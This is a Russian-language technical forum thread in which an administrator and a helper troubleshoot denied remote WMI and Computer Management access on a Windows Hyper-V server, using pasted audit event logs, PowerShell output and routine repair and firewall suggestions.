    Компьютер:     srv-virtual4.palixa.ricbank.com
    Описание:
    Запрошен дескриптор объекта.
    
    Субъект:
    	ИД безопасности:		PALIXAmalevich admin
    	Имя учетной записи:		malevich admin
    	Домен учетной записи:		PALIXA
    	ИД входа:		0x5622DA19
    
    Объект:
    	Сервер объекта:		Security
    	Тип объекта:		File
    	Имя объекта:		C:WindowsSystem32compmgmt.msc
    	Код дескриптора:		0x0
    
    Атрибуты ресурса:	-
    
    Сведения о процессе:
    	ИД процесса:		0x1fc0
    	Имя процесса:		C:WindowsSystem32mmc.exe
    
    Сведения о запросе на доступ:
    	Код транзакции:		{00000000-0000-0000-0000-000000000000}
    	Операции доступа:		READ_CONTROL
    				SYNCHRONIZE
    				Запись данных (или добавление файла)
    				Добавление данных (или добавление подкаталогов, или создание копии канала)
    				WriteEA
    				ReadAttributes
    				WriteAttributes
    				
    	Причины доступа:		READ_CONTROL:	Кем выдано:	D:(A;;0x1200a9;;;BA)
    				SYNCHRONIZE:	Кем выдано:	D:(A;;0x1200a9;;;BA)
    				Запись данных (или добавление файла):	Не предоставлено
    				Добавление данных (или добавление подкаталогов, или создание копии канала):	Не предоставлено
    				WriteEA:	Не предоставлено
    				ReadAttributes:	Предоставлено элементом управления доступом в родительской папке	D:(A;;0x1301bf;;;BA)
    				WriteAttributes:	Не предоставлено
    				
    	Маска доступа:		0x120196
    	Привилегии, используемые для проверки доступа:	-
    	Число ограниченных ИД безопасности:	0
    Xml события:
    <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
      <System>
        <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-A5BA-3E3B0328C30D}" />
        <EventID>4656</EventID>
        <Version>1</Version>
        <Level>0</Level>
        <Task>12800</Task>
        <Opcode>0</Opcode>
        <Keywords>0x8010000000000000</Keywords>
        <TimeCreated SystemTime="2016-11-07T10:22:56.428240300Z" />
        <EventRecordID>2862095</EventRecordID>
        <Correlation />
        <Execution ProcessID="976" ThreadID="960" />
        <Channel>Security</Channel>
        <Computer>srv-virtual4.palixa.ricbank.com</Computer>
        <Security />
      </System>
      <EventData>
        <Data Name="SubjectUserSid">S-1-5-21-853709256-2082333563-539477523-5281</Data>
        <Data Name="SubjectUserName">malevich admin</Data>
        <Data Name="SubjectDomainName">PALIXA</Data>
        <Data Name="SubjectLogonId">0x5622da19</Data>
        <Data Name="ObjectServer">Security</Data>
        <Data Name="ObjectType">File</Data>
        <Data Name="ObjectName">C:WindowsSystem32compmgmt.msc</Data>
        <Data Name="HandleId">0x0</Data>
        <Data Name="TransactionId">{00000000-0000-0000-0000-000000000000}</Data>
        <Data Name="AccessList">%%1538
    				%%1541
    				%%4417
    				%%4418
    				%%4420
    				%%4423
    				%%4424
    				</Data>
        <Data Name="AccessReason">%%1538:	%%1801	D:(A;;0x1200a9;;;BA)
    				%%1541:	%%1801	D:(A;;0x1200a9;;;BA)
    				%%4417:	%%1805
    				%%4418:	%%1805
    				%%4420:	%%1805
    				%%4423:	%%1811	D:(A;;0x1301bf;;;BA)
    				%%4424:	%%1805
    				</Data>
        <Data Name="AccessMask">0x120196</Data>
        <Data Name="PrivilegeList">-</Data>
        <Data Name="RestrictedSidCount">0</Data>
        <Data Name="ProcessId">0x1fc0</Data>
        <Data Name="ProcessName">C:WindowsSystem32mmc.exe</Data>
        <Data Name="ResourceAttributes">-</Data>
      </EventData>
    </Event>
    Имя журнала:   Security
    Источник:      Microsoft-Windows-Security-Auditing
    Дата:          07.11.2016 13:22:56
    Код события:   4656
    Категория задачи:Файловая система
    Уровень:       Сведения
    Ключевые слова:Аудит отказа
    Пользователь:  Н/Д
    Компьютер:     srv-virtual4.palixa.ricbank.com
    Описание:
    Запрошен дескриптор объекта.
    
    Субъект:
    	ИД безопасности:		PALIXAmalevich admin
    	Имя учетной записи:		malevich admin
    	Домен учетной записи:		PALIXA
    	ИД входа:		0x5622DA19
    
    Объект:
    	Сервер объекта:		Security
    	Тип объекта:		File
    	Имя объекта:		C:WindowsSystem32compmgmt.msc
    	Код дескриптора:		0x0
    
    Атрибуты ресурса:	-
    
    Сведения о процессе:
    	ИД процесса:		0x1fc0
    	Имя процесса:		C:WindowsSystem32mmc.exe
    
    Сведения о запросе на доступ:
    	Код транзакции:		{00000000-0000-0000-0000-000000000000}
    	Операции доступа:		READ_CONTROL
    				SYNCHRONIZE
    				Запись данных (или добавление файла)
    				Добавление данных (или добавление подкаталогов, или создание копии канала)
    				WriteEA
    				ReadAttributes
    				WriteAttributes
    				
    	Причины доступа:		READ_CONTROL:	Кем выдано:	D:(A;;0x1200a9;;;BA)
    				SYNCHRONIZE:	Кем выдано:	D:(A;;0x1200a9;;;BA)
    				Запись данных (или добавление файла):	Не предоставлено
    				Добавление данных (или добавление подкаталогов, или создание копии канала):	Не предоставлено
    				WriteEA:	Не предоставлено
    				ReadAttributes:	Предоставлено элементом управления доступом в родительской папке	D:(A;;0x1301bf;;;BA)
    				WriteAttributes:	Не предоставлено
    				
    	Маска доступа:		0x120196
    	Привилегии, используемые для проверки доступа:	-
    	Число ограниченных ИД безопасности:	0
    Xml события:
    <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
      <System>
        <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-A5BA-3E3B0328C30D}" />
        <EventID>4656</EventID>
        <Version>1</Version>
        <Level>0</Level>
        <Task>12800</Task>
        <Opcode>0</Opcode>
        <Keywords>0x8010000000000000</Keywords>
        <TimeCreated SystemTime="2016-11-07T10:22:56.428240300Z" />
        <EventRecordID>2862096</EventRecordID>
        <Correlation />
        <Execution ProcessID="976" ThreadID="960" />
        <Channel>Security</Channel>
        <Computer>srv-virtual4.palixa.ricbank.com</Computer>
        <Security />
      </System>
      <EventData>
        <Data Name="SubjectUserSid">S-1-5-21-853709256-2082333563-539477523-5281</Data>
        <Data Name="SubjectUserName">malevich admin</Data>
        <Data Name="SubjectDomainName">PALIXA</Data>
        <Data Name="SubjectLogonId">0x5622da19</Data>
        <Data Name="ObjectServer">Security</Data>
        <Data Name="ObjectType">File</Data>
        <Data Name="ObjectName">C:WindowsSystem32compmgmt.msc</Data>
        <Data Name="HandleId">0x0</Data>
        <Data Name="TransactionId">{00000000-0000-0000-0000-000000000000}</Data>
        <Data Name="AccessList">%%1538
    				%%1541
    				%%4417
    				%%4418
    				%%4420
    				%%4423
    				%%4424
    				</Data>
        <Data Name="AccessReason">%%1538:	%%1801	D:(A;;0x1200a9;;;BA)
    				%%1541:	%%1801	D:(A;;0x1200a9;;;BA)
    				%%4417:	%%1805
    				%%4418:	%%1805
    				%%4420:	%%1805
    				%%4423:	%%1811	D:(A;;0x1301bf;;;BA)
    				%%4424:	%%1805
    				</Data>
        <Data Name="AccessMask">0x120196</Data>
        <Data Name="PrivilegeList">-</Data>
        <Data Name="RestrictedSidCount">0</Data>
        <Data Name="ProcessId">0x1fc0</Data>
        <Data Name="ProcessName">C:WindowsSystem32mmc.exe</Data>
        <Data Name="ResourceAttributes">-</Data>
      </EventData>
    </Event>
    Имя журнала:   Security
    Источник:      Microsoft-Windows-Security-Auditing
    Дата:          07.11.2016 13:26:22
    Код события:   4656
    Категория задачи:Файловая система
    Уровень:       Сведения
    Ключевые слова:Аудит отказа
    Пользователь:  Н/Д
    Компьютер:     srv-virtual4.palixa.ricbank.com
    Описание:
    Запрошен дескриптор объекта.
    
    Субъект:
    	ИД безопасности:		PALIXAmalevich admin
    	Имя учетной записи:		malevich admin
    	Домен учетной записи:		PALIXA
    	ИД входа:		0x5622DA19
    
    Объект:
    	Сервер объекта:		Security
    	Тип объекта:		File
    	Имя объекта:		C:ProgramDataMicrosoftEvent ViewerViewsServerRolesVirtualization.Events.xml
    	Код дескриптора:		0x0
    
    Атрибуты ресурса:	-
    
    Сведения о процессе:
    	ИД процесса:		0x18f4
    	Имя процесса:		C:WindowsSystem32mmc.exe
    
    Сведения о запросе на доступ:
    	Код транзакции:		{00000000-0000-0000-0000-000000000000}
    	Операции доступа:		READ_CONTROL
    				SYNCHRONIZE
    				Запись данных (или добавление файла)
    				Добавление данных (или добавление подкаталогов, или создание копии канала)
    				WriteEA
    				ReadAttributes
    				WriteAttributes
    				
    	Причины доступа:		READ_CONTROL:	Кем выдано:	D:(A;;0x1200a9;;;BA)
    				SYNCHRONIZE:	Кем выдано:	D:(A;;0x1200a9;;;BA)
    				Запись данных (или добавление файла):	Не предоставлено
    				Добавление данных (или добавление подкаталогов, или создание копии канала):	Не предоставлено
    				WriteEA:	Не предоставлено
    				ReadAttributes:	Предоставлено элементом управления доступом в родительской папке	D:(A;;0x1301bf;;;BA)
    				WriteAttributes:	Не предоставлено
    				
    	Маска доступа:		0x120196
    	Привилегии, используемые для проверки доступа:	-
    	Число ограниченных ИД безопасности:	0
    Xml события:
    <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
      <System>
        <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-A5BA-3E3B0328C30D}" />
        <EventID>4656</EventID>
        <Version>1</Version>
        <Level>0</Level>
        <Task>12800</Task>
        <Opcode>0</Opcode>
        <Keywords>0x8010000000000000</Keywords>
        <TimeCreated SystemTime="2016-11-07T10:26:22.183791700Z" />
        <EventRecordID>2862099</EventRecordID>
        <Correlation />
        <Execution ProcessID="976" ThreadID="960" />
        <Channel>Security</Channel>
        <Computer>srv-virtual4.palixa.ricbank.com</Computer>
        <Security />
      </System>
      <EventData>
        <Data Name="SubjectUserSid">S-1-5-21-853709256-2082333563-539477523-5281</Data>
        <Data Name="SubjectUserName">malevich admin</Data>
        <Data Name="SubjectDomainName">PALIXA</Data>
        <Data Name="SubjectLogonId">0x5622da19</Data>
        <Data Name="ObjectServer">Security</Data>
        <Data Name="ObjectType">File</Data>
        <Data Name="ObjectName">C:ProgramDataMicrosoftEvent ViewerViewsServerRolesVirtualization.Events.xml</Data>
        <Data Name="HandleId">0x0</Data>
        <Data Name="TransactionId">{00000000-0000-0000-0000-000000000000}</Data>
        <Data Name="AccessList">%%1538
    				%%1541
    				%%4417
    				%%4418
    				%%4420
    				%%4423
    				%%4424
    				</Data>
        <Data Name="AccessReason">%%1538:	%%1801	D:(A;;0x1200a9;;;BA)
    				%%1541:	%%1801	D:(A;;0x1200a9;;;BA)
    				%%4417:	%%1805
    				%%4418:	%%1805
    				%%4420:	%%1805
    				%%4423:	%%1811	D:(A;;0x1301bf;;;BA)
    				%%4424:	%%1805
    				</Data>
        <Data Name="AccessMask">0x120196</Data>
        <Data Name="PrivilegeList">-</Data>
        <Data Name="RestrictedSidCount">0</Data>
        <Data Name="ProcessId">0x18f4</Data>
        <Data Name="ProcessName">C:WindowsSystem32mmc.exe</Data>
        <Data Name="ResourceAttributes">-</Data>
      </EventData>
    </Event>
    Имя журнала:   Security
    Источник:      Microsoft-Windows-Security-Auditing
    Дата:          07.11.2016 13:26:22
    Код события:   4656
    Категория задачи:Файловая система
    Уровень:       Сведения
    Ключевые слова:Аудит отказа
    Пользователь:  Н/Д
    Компьютер:     srv-virtual4.palixa.ricbank.com
    Описание:
    Запрошен дескриптор объекта.
    
    Субъект:
    	ИД безопасности:		PALIXAmalevich admin
    	Имя учетной записи:		malevich admin
    	Домен учетной записи:		PALIXA
    	ИД входа:		0x5622DA19
    
    Объект:
    	Сервер объекта:		Security
    	Тип объекта:		File
    	Имя объекта:		C:ProgramDataMicrosoftEvent ViewerViewsServerRolesRemoteDesktop.Events.xml
    	Код дескриптора:		0x0
    
    Атрибуты ресурса:	-
    
    Сведения о процессе:
    	ИД процесса:		0x18f4
    	Имя процесса:		C:WindowsSystem32mmc.exe
    
    Сведения о запросе на доступ:
    	Код транзакции:		{00000000-0000-0000-0000-000000000000}
    	Операции доступа:		READ_CONTROL
    				SYNCHRONIZE
    				Запись данных (или добавление файла)
    				Добавление данных (или добавление подкаталогов, или создание копии канала)
    				WriteEA
    				ReadAttributes
    				WriteAttributes
    				
    	Причины доступа:		READ_CONTROL:	Кем выдано:	D:(A;;0x1200a9;;;BA)
    				SYNCHRONIZE:	Кем выдано:	D:(A;;0x1200a9;;;BA)
    				Запись данных (или добавление файла):	Не предоставлено
    				Добавление данных (или добавление подкаталогов, или создание копии канала):	Не предоставлено
    				WriteEA:	Не предоставлено
    				ReadAttributes:	Предоставлено элементом управления доступом в родительской папке	D:(A;;0x1301bf;;;BA)
    				WriteAttributes:	Не предоставлено
    				
    	Маска доступа:		0x120196
    	Привилегии, используемые для проверки доступа:	-
    	Число ограниченных ИД безопасности:	0
    Xml события:
    <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
      <System>
        <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-A5BA-3E3B0328C30D}" />
        <EventID>4656</EventID>
        <Version>1</Version>
        <Level>0</Level>
        <Task>12800</Task>
        <Opcode>0</Opcode>
        <Keywords>0x8010000000000000</Keywords>
        <TimeCreated SystemTime="2016-11-07T10:26:22.183791700Z" />
        <EventRecordID>2862100</EventRecordID>
        <Correlation />
        <Execution ProcessID="976" ThreadID="960" />
        <Channel>Security</Channel>
        <Computer>srv-virtual4.palixa.ricbank.com</Computer>
        <Security />
      </System>
      <EventData>
        <Data Name="SubjectUserSid">S-1-5-21-853709256-2082333563-539477523-5281</Data>
        <Data Name="SubjectUserName">malevich admin</Data>
        <Data Name="SubjectDomainName">PALIXA</Data>
        <Data Name="SubjectLogonId">0x5622da19</Data>
        <Data Name="ObjectServer">Security</Data>
        <Data Name="ObjectType">File</Data>
        <Data Name="ObjectName">C:ProgramDataMicrosoftEvent ViewerViewsServerRolesRemoteDesktop.Events.xml</Data>
        <Data Name="HandleId">0x0</Data>
        <Data Name="TransactionId">{00000000-0000-0000-0000-000000000000}</Data>
        <Data Name="AccessList">%%1538
    				%%1541
    				%%4417
    				%%4418
    				%%4420
    				%%4423
    				%%4424
    				</Data>
        <Data Name="AccessReason">%%1538:	%%1801	D:(A;;0x1200a9;;;BA)
    				%%1541:	%%1801	D:(A;;0x1200a9;;;BA)
    				%%4417:	%%1805
    				%%4418:	%%1805
    				%%4420:	%%1805
    				%%4423:	%%1811	D:(A;;0x1301bf;;;BA)
    				%%4424:	%%1805
    				</Data>
        <Data Name="AccessMask">0x120196</Data>
        <Data Name="PrivilegeList">-</Data>
        <Data Name="RestrictedSidCount">0</Data>
        <Data Name="ProcessId">0x18f4</Data>
        <Data Name="ProcessName">C:WindowsSystem32mmc.exe</Data>
        <Data Name="ResourceAttributes">-</Data>
      </EventData>
    </Event>

    Вот WMI

    С моего компьютера:

    Имя журнала:   Microsoft-Windows-WMI-Activity/Operational
    Источник:      Microsoft-Windows-WMI-Activity
    Дата:          07.11.2016 11:02:44
    Код события:   5858
    Категория задачи:Отсутствует
    Уровень:       Ошибка
    Ключевые слова:
    Пользователь:  СИСТЕМА
    Компьютер:     wks088.palixa.ricbank.com
    Описание:
    Id = {E0B47739-E1D5-49D8-8982-7EF0C1A908B9}; ClientMachine = WKS088; User = PALIXAmalevich pavel; ClientProcessId = 14048; Component = Unknown; Operation = Start IWbemServices::GetObject - rootcimv2 : \.ROOTcimv2:Win32_Service.Name="vmms"; ResultCode = 0x80041002; PossibleCause = Unknown
    Xml события:
    <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
      <System>
        <Provider Name="Microsoft-Windows-WMI-Activity" Guid="{1418EF04-B0B4-4623-BF7E-D74AB47BBDAA}" />
        <EventID>5858</EventID>
        <Version>0</Version>
        <Level>2</Level>
        <Task>0</Task>
        <Opcode>0</Opcode>
        <Keywords>0x4000000000000000</Keywords>
        <TimeCreated SystemTime="2016-11-07T08:02:44.943140100Z" />
        <EventRecordID>2861</EventRecordID>
        <Correlation />
        <Execution ProcessID="1368" ThreadID="7572" />
        <Channel>Microsoft-Windows-WMI-Activity/Operational</Channel>
        <Computer>wks088.palixa.ricbank.com</Computer>
        <Security UserID="S-1-5-18" />
      </System>
      <UserData>
        <Operation_ClientFailure xmlns="http://manifests.microsoft.com/win/2006/windows/WMI">
          <Id>{E0B47739-E1D5-49D8-8982-7EF0C1A908B9}</Id>
          <ClientMachine>WKS088</ClientMachine>
          <User>PALIXAmalevich pavel</User>
          <ClientProcessId>14048</ClientProcessId>
          <Component>Unknown</Component>
          <Operation>Start IWbemServices::GetObject - rootcimv2 : \.ROOTcimv2:Win32_Service.Name="vmms"</Operation>
          <ResultCode>0x80041002</ResultCode>
          <PossibleCause>Unknown</PossibleCause>
        </Operation_ClientFailure>
      </UserData>
    </Event>

    На сервере ошибок в журнале WMI-Activity при попытке подключения нет.

  • Попробовать рекомендации из статьи:

    https://blogs.technet.microsoft.com/askperf/2014/08/08/wmi-repository-corruption-or-not/

    На проблемном сервере:

    Winmgmt /verifyrepository , если INCONSISTENT , то выполнить:
    Winmgmt /salvagerepository
    Restart-Service Winmgmt -Force

    Если не промогло:

    net stop winmgmt /y
    Winmgmt /resetrepositoy

    • Edited by

      Monday, November 7, 2016 11:09 AM

  • C:Usersmalevich admin>Winmgmt /verifyrepository
    База данных WMI согласована

  • С удаленного компьютера в PowerShell(Run As Administrator):

    Get-WmiObject Win32_OperatingSystem -Comp srv-virtual4.palixa.ricbank.com

    и локально с srv-virtual4.palixa.ricbank.com под тем-же пользователем:

    whoami /groups
    Get-WmiObject Win32_OperatingSystem
    • Edited by
      Kazun
      Monday, November 7, 2016 11:21 AM

  • Удалённо:

    PS C:WINDOWSsystem32> Get-WmiObject Win32_OperatingSystem -Comp srv-virtual4.palixa.ricbank.com
    Get-WmiObject : Отказано в доступе. (Исключение из HRESULT: 0x80070005 (E_ACCESSDENIED))
    строка:1 знак:1
    + Get-WmiObject Win32_OperatingSystem -Comp srv-virtual4.palixa.ricbank ...
    + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        + CategoryInfo          : NotSpecified: (:) [Get-WmiObject], UnauthorizedAccessException
        + FullyQualifiedErrorId : System.UnauthorizedAccessException,Microsoft.PowerShell.Commands.GetWmiObjectCommand

    На сервере:

    (C) Корпорация Майкрософт (Microsoft Corporation), 2014. Все права защищены.
    
    PS C:Usersmalevich admin> Get-WmiObject Win32_OperatingSystem -Comp srv-virtua
    l4.palixa.ricbank.com
    
    
    SystemDirectory : C:Windowssystem32
    Organization    :
    BuildNumber     : 9600
    RegisteredUser  : Пользователь Windows
    SerialNumber    : 00253-40120-82476-AA166
    Version         : 6.3.9600

  • Если удаленно добавить и попробовать вместо рабочей станции, другой сервер для запроса:

    Get-WmiObject Win32_OperatingSystem -Comp srv-virtual4.palixa.ricbank.com -Credential ""

    На wks088.palixa.ricbank.com работает команда:

    Get-WmiObject Win32_OperatingSystem

    Где вывод с удаленного сервера с учеткой админа:

    whoami /groups
    • Edited by
      Kazun
      Monday, November 7, 2016 12:35 PM

  • Первое не понял?

    2.

    PS C:WINDOWSsystem32> Get-WmiObject Win32_OperatingSystem
    
    
    SystemDirectory : C:WINDOWSsystem32
    Organization    :
    BuildNumber     : 14393
    RegisteredUser  : root
    SerialNumber    : 00330-80000-00000-AA464
    Version         : 10.0.14393

    3.

    Сведения о группах
    -----------------
    
    Группа                                                    Тип                     SID                                          Атрибуты                                                                       
    ========================================================= ======================= ============================================ ===============================================================================
    PALIXAАдминистраторы домена                              Группа                  S-1-5-21-853709256-2082333563-539477523-512  Обязательная группа, Включены по умолчанию, Включенная группа                  
    Все                                                       Хорошо известная группа S-1-1-0                                      Обязательная группа, Включены по умолчанию, Включенная группа                  
    BUILTINАдминистраторы                                    Псевдоним               S-1-5-32-544                                 Обязательная группа, Включены по умолчанию, Включенная группа, Владелец группы 
    BUILTINАдминистраторы Hyper-V                            Псевдоним               S-1-5-32-578                                 Обязательная группа, Включены по умолчанию, Включенная группа                  
    BUILTINПользователи удаленного управления                Псевдоним               S-1-5-32-580                                 Обязательная группа, Включены по умолчанию, Включенная группа                  
    BUILTINПользователи                                      Псевдоним               S-1-5-32-545                                 Обязательная группа, Включены по умолчанию, Включенная группа                  
    NT AUTHORITYREMOTE INTERACTIVE LOGON                     Хорошо известная группа S-1-5-14                                     Обязательная группа, Включены по умолчанию, Включенная группа                  
    NT AUTHORITYИНТЕРАКТИВНЫЕ                                Хорошо известная группа S-1-5-4                                      Обязательная группа, Включены по умолчанию, Включенная группа                  
    NT AUTHORITYПрошедшие проверку                           Хорошо известная группа S-1-5-11                                     Обязательная группа, Включены по умолчанию, Включенная группа                  
    NT AUTHORITYДанная организация                           Хорошо известная группа S-1-5-15                                     Обязательная группа, Включены по умолчанию, Включенная группа                  
    ЛОКАЛЬНЫЕ                                                 Хорошо известная группа S-1-2-0                                      Обязательная группа, Включены по умолчанию, Включенная группа                  
    PALIXAУдалённые помощники                                Группа                  S-1-5-21-853709256-2082333563-539477523-5182 Обязательная группа, Включены по умолчанию, Включенная группа                  
    PALIXAБез сертификата                                    Группа                  S-1-5-21-853709256-2082333563-539477523-5153 Обязательная группа, Включены по умолчанию, Включенная группа                  
    PALIXAMikrotik Admins                                    Группа                  S-1-5-21-853709256-2082333563-539477523-5266 Обязательная группа, Включены по умолчанию, Включенная группа                  
    PALIXAWD-Fileserver                                      Группа                  S-1-5-21-853709256-2082333563-539477523-5163 Обязательная группа, Включены по умолчанию, Включенная группа                  
    PALIXAКБР Администраторы                                 Группа                  S-1-5-21-853709256-2082333563-539477523-7107 Обязательная группа, Включены по умолчанию, Включенная группа                  
    PALIXASQL Администраторы                                 Группа                  S-1-5-21-853709256-2082333563-539477523-5206 Обязательная группа, Включены по умолчанию, Включенная группа                  
    PALIXAit                                                 Группа                  S-1-5-21-853709256-2082333563-539477523-2186 Обязательная группа, Включены по умолчанию, Включенная группа                  
    PALIXAКБР Администраторы ИБ                              Группа                  S-1-5-21-853709256-2082333563-539477523-7108 Обязательная группа, Включены по умолчанию, Включенная группа                  
    PALIXAPublic Folder Management                           Группа                  S-1-5-21-853709256-2082333563-539477523-4107 Обязательная группа, Включены по умолчанию, Включенная группа                  
    PALIXAHelp Desk                                          Группа                  S-1-5-21-853709256-2082333563-539477523-4111 Обязательная группа, Включены по умолчанию, Включенная группа                  
    PALIXADiscovery Management                               Группа                  S-1-5-21-853709256-2082333563-539477523-4113 Обязательная группа, Включены по умолчанию, Включенная группа                  
    PALIXAАдминистраторы схемы                               Группа                  S-1-5-21-853709256-2082333563-539477523-518  Обязательная группа, Включены по умолчанию, Включенная группа                  
    PALIXAImport Export Admins                               Группа                  S-1-5-21-853709256-2082333563-539477523-5253 Обязательная группа, Включены по умолчанию, Включенная группа                  
    PALIXAKse Security Officers                              Группа                  S-1-5-21-853709256-2082333563-539477523-5310 Обязательная группа, Включены по умолчанию, Включенная группа                  
    PALIXAServer Management                                  Группа                  S-1-5-21-853709256-2082333563-539477523-4114 Обязательная группа, Включены по умолчанию, Включенная группа                  
    PALIXAАдминистраторы предприятия                         Группа                  S-1-5-21-853709256-2082333563-539477523-519  Обязательная группа, Включены по умолчанию, Включенная группа                  
    PALIXARecipient Management                               Группа                  S-1-5-21-853709256-2082333563-539477523-4108 Обязательная группа, Включены по умолчанию, Включенная группа                  
    PALIXAUM Management                                      Группа                  S-1-5-21-853709256-2082333563-539477523-4110 Обязательная группа, Включены по умолчанию, Включенная группа                  
    PALIXARecords Management                                 Группа                  S-1-5-21-853709256-2082333563-539477523-4112 Обязательная группа, Включены по умолчанию, Включенная группа                  
    PALIXAgrdata                                             Группа                  S-1-5-21-853709256-2082333563-539477523-2374 Обязательная группа, Включены по умолчанию, Включенная группа                  
    PALIXAKse Administrators                                 Группа                  S-1-5-21-853709256-2082333563-539477523-5309 Обязательная группа, Включены по умолчанию, Включенная группа                  
    PALIXAHygiene Management                                 Группа                  S-1-5-21-853709256-2082333563-539477523-4116 Обязательная группа, Включены по умолчанию, Включенная группа                  
    PALIXAOrganization Management                            Группа                  S-1-5-21-853709256-2082333563-539477523-4106 Обязательная группа, Включены по умолчанию, Включенная группа                  
    Подтвержденное центром проверки подлинности удостоверение Хорошо известная группа S-1-18-1                                     Обязательная группа, Включены по умолчанию, Включенная группа                  
    PALIXAГруппа с запрещением репликации паролей RODC       Псевдоним               S-1-5-21-853709256-2082333563-539477523-572  Обязательная группа, Включены по умолчанию, Включенная группа, Локальная группа
    Обязательная меткаВысокий обязательный уровень           Метка                   S-1-16-12288                                                                                                                
    

  • wks088.palixa.ricbank.com:

    Get-WmiObject Win32_OperatingSystem -Comp srv-virtual4.palixa.ricbank.com -Credential ""

    Взять другую станцию/сервер:

    Get-WmiObject Win32_OperatingSystem -Comp srv-virtual4.palixa.ricbank.com -Credential ""
  • Запросило логин и пароль, ввёл и взял… 

    PS C:WINDOWSsystem32> Get-WmiObject Win32_OperatingSystem -Comp srv-virtual3.palixa.ricbank.com -Credential ""
    
    
    SystemDirectory : C:Windowssystem32
    Organization    :
    BuildNumber     : 9600
    RegisteredUser  : Пользователь Windows
    SerialNumber    : 00252-60122-53514-AA283
    Version         : 6.3.9600
    
    
    
    PS C:WINDOWSsystem32>

  • Я имел ввиду, зайти на srv-virtual3.palixa.ricbank.com и выполнить:

    Get-WmiObject Win32_OperatingSystem -Comp srv-virtual4.palixa.ricbank.com

    или

    Get-WmiObject Win32_OperatingSystem -Comp srv-virtual4.palixa.ricbank.com -Credential ""
  • PS>Get-WmiObject Win32_OperatingSystem -Comp srv-virtual4.palixa.ricbank.com
    Get-WmiObject : Отказано в доступе. (Исключение из HRESULT: 0x80070005 (E_ACCESSDENIED))
    строка:1 знак:1
    + Get-WmiObject Win32_OperatingSystem -Comp srv-virtual4.palixa.ricbank.com
    + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        + CategoryInfo          : NotSpecified: (:) [Get-WmiObject], UnauthorizedAccessException
        + FullyQualifiedErrorId : System.UnauthorizedAccessException,Microsoft.PowerShell.Commands.GetWmiObjectCommand

    PS C:Windowssystem32> Get-WmiObject Win32_OperatingSystem -Comp srv-virtual4.palixa.ricbank.com -Credential ""
    Get-WmiObject : Отказано в доступе. (Исключение из HRESULT: 0x80070005 (E_ACCESSDENIED))
    строка:1 знак:1
    + Get-WmiObject Win32_OperatingSystem -Comp srv-virtual4.palixa.ricbank.com -Crede ...
    + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        + CategoryInfo          : NotSpecified: (:) [Get-WmiObject], UnauthorizedAccessException
        + FullyQualifiedErrorId : System.UnauthorizedAccessException,Microsoft.PowerShell.Commands.GetWmiObjectCommand

  • Скачать утилиту на https://www.microsoft.com/en-us/download/details.aspx?id=7684 на srv-virtual4 , выполнить в консоли с Run As Administator:

    CSCRIPT С:WMIDIAGWMIDiag.vbs

  • Опана… случайно не из за этого не работает?:

    41807 16:50:23 (0) ** Windows Firewall 'Windows Management Instrumentation (WMI)' group rule: ............................................. DISABLED.

    https://yadi.sk/d/-MYvisotyDfi6

    • Edited by
      Fafofu
      Monday, November 7, 2016 1:56 PM

  • Firewall — включить.

    И проверить в DCOMCNFG.EXE назначение прав группе Администраторы: 

    https://social.technet.microsoft.com/Forums/office/en-US/4f33837b-1cb1-4648-85b1-3ba87cbfe93e/wmi-remote-access-denied?forum=winserverManagement

    Dcomcnfg -> Expand Component Service -> Computers -> My computer -> COM Security Tab
    Dcomcnfg -> Expand Component Service -> Computers -> My computer -> «DCOM Config» -> Windows Management and Instruments

  • В DCOMCNFG.EXE всё уже проверял, там все права есть.

    А как называется правило в русской винде брандмауэера?

    • Edited by
      Fafofu
      Tuesday, November 8, 2016 6:38 AM

  • Для начала эти:

    Инструментарий управления Windows (DCOM - входящий трафик)
    Инструментарий управления Windows (WMI - входящий трафик)
    Клиенты управления Hyper-V - WMI (DCOM-вход.)
    Клиенты управления Hyper-V - WMI (TCP-вход.)
    Клиенты управления Hyper-V - WMI (асинх.-вход.)

  • Вот правила текущие: https://yadi.sk/i/hSfZ3aa6yFiam

    virtual3 и virtual4 лежат в дереве домена в одном объекте. т.е. к ним применяются одинаковые политики…

    Короче всё ещё доступ запрещён.

  • Я обнаружил, что у меня отсутствует файл appinfo.dll

  • Можно сделать проверку: Sfc /scannow 

  • Уже делал. Пишет всё ОК…

  • Скопировать с рабочей системы:

    C:WindowsSystem32ru-RUappinfo.dll.mui
    C:WindowsSystem32appinfo.dll

  • Готово. Текст отобразился… с WMI всё ещё воюю…. а и DPM тоже не смог подключится, хотя даже агент установлен… Что за чертовщина твориться…

  • Папки ru-ru отличаются по размеру на серверах… на виртуал 4 она меньше…

  • Явно какая-то проблема с тем как сервер определяет безопасность… Вот ошибка при открытии «Управление компьютером»

    Имя журнала:   Security
    Источник:      Microsoft-Windows-Security-Auditing
    Дата:          09.11.2016 12:33:31
    Код события:   4656
    Категория задачи:Файловая система
    Уровень:       Сведения
    Ключевые слова:Аудит отказа
    Пользователь:  Н/Д
    Компьютер:     srv-virtual4.palixa.ricbank.com
    Описание:
    Запрошен дескриптор объекта.
    
    Субъект:
    	ИД безопасности:		PALIXAmalevich admin
    	Имя учетной записи:		malevich admin
    	Домен учетной записи:		PALIXA
    	ИД входа:		0x49E32D9
    
    Объект:
    	Сервер объекта:		Security
    	Тип объекта:		File
    	Имя объекта:		C:WindowsSystem32compmgmt.msc
    	Код дескриптора:		0x0
    
    Атрибуты ресурса:	-
    
    Сведения о процессе:
    	ИД процесса:		0x23a0
    	Имя процесса:		C:WindowsSystem32mmc.exe
    
    Сведения о запросе на доступ:
    	Код транзакции:		{00000000-0000-0000-0000-000000000000}
